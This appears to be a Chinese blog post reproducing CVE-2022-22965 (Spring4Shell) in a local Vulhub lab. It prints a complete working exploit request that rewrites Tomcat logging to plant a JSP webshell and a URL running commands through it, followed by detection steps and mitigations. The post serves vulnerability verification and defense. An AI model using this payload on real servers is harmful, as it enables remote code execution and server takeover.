admin管理员组

文章数量:1794759

CVE

CVE

CVE-2022-22965：Spring Framework远程代码执行漏洞

本文仅为验证漏洞，在本地环境测试验证，无其它目的

漏洞编号：

CVE-2022-22965

漏洞说明：

Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞影响范围：
  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20
漏洞级别：

高危

漏洞复现：

本次复现采用Vulhub靶场环境，需要在本地搭建Vulhub靶场（自行百度，如有问题可以沟通交流，后期时间充足可以再出Vulhub搭建教程），需注意将请求中的代码更换为靶机所在IP （参考：Vulhub/CVE-2022-22965）

  • 进入靶场环境：【Vulhub}-【Spring】-【CVE-2022-22965】，使用以下命令启动环境

    docker-compose up -d

  • 根据VULHUB靶场提示操作，访问靶场服务器IP+端口： bash 192.168.32.132:8080/?name=Bob&age=25

  • 此处要注意，因为靶场会占用8080端口，所以当BP和靶场在统一环境下时，注意修改BP的8080端口为其他，并在浏览器中进行更新才能访问靶场环境：

  • 发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件：

    GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.32.132:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1

  • 然后，访问刚才的 JSP webshell，并执行任意命令： bash 192.168.32.132:8080/tomcatwar.jsp?pwd=j&cmd=id

    • 漏洞自查：

    （参考：安恒信CERT）

  • 临时解决方案

    排查是否使用了Spring框架（包括但不限于以下方法） (1)排查项目中是否使用了Spring框架： 可遍历项目文件查找是否包含spring-beans-.jar (2)排查war包中是否存在Spring框架： 检查war包内是否存在spring-beans-.jar文件，若存在则表示使用spring开发框架；若不存在，则进一步确认是否存在CachedIntrospectionResults.class文件，若存在则表示使用Spring开发框架或衍生框架。 (3)排查jar包部中的Spring： 检查Jar包内是否存在spring-beans-*.jar文件，若存在则表示使用Spring开发框架；若不存在，则进一步确认是否存在CachedIntrospectionResults.class文件，若存在则表示使用Spring开发框架或衍生框架。

  • 在使用Spring框架的服务器中，命令行下执行“java –version”，查看当前JDK版本，如果JDK版本在8及以下，则不受此漏洞影响

    • 漏洞修复：

    （（参考： 深信服千里目安全实验室）

  • 临时解决方案

  • 在应用中全局搜索@InitBinder注解，看看方法体内是否调用dataBinder.setDisallowedFields方法，如果发现此代码片段的引入,则在原来的黑名单中，添加{“class.","Class.”,“.class.”,“.Class.”}。(注:如果此代码片段使用较多，需要每个地方都追加)
  • 在应用系统的项目包下新建以下全局类，并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后，需对项目进行重新编译打包和功能验证测试，并重新发布项目

  • WAF等安全组件防护

    在WAF等网络防护设备上，根据实际部署业务的流量情况，实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤，并在部署过滤规则后，对业务运行情况进行测试，避免产生额外影响。

  • 官方修复

  • 当前 Spring Framework 官方已发布最新版本，建议受影响的用户及时更新升级到最新版本。链接如下： github/spring-projects/spring-framework/tags 注：Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本（截止至3月31日）

    • 本文标签： CVE

    版权声明：本文标题：CVE 内容由林淑君副主任自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.xiehuijuan.com/baike/1687049976a130330.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。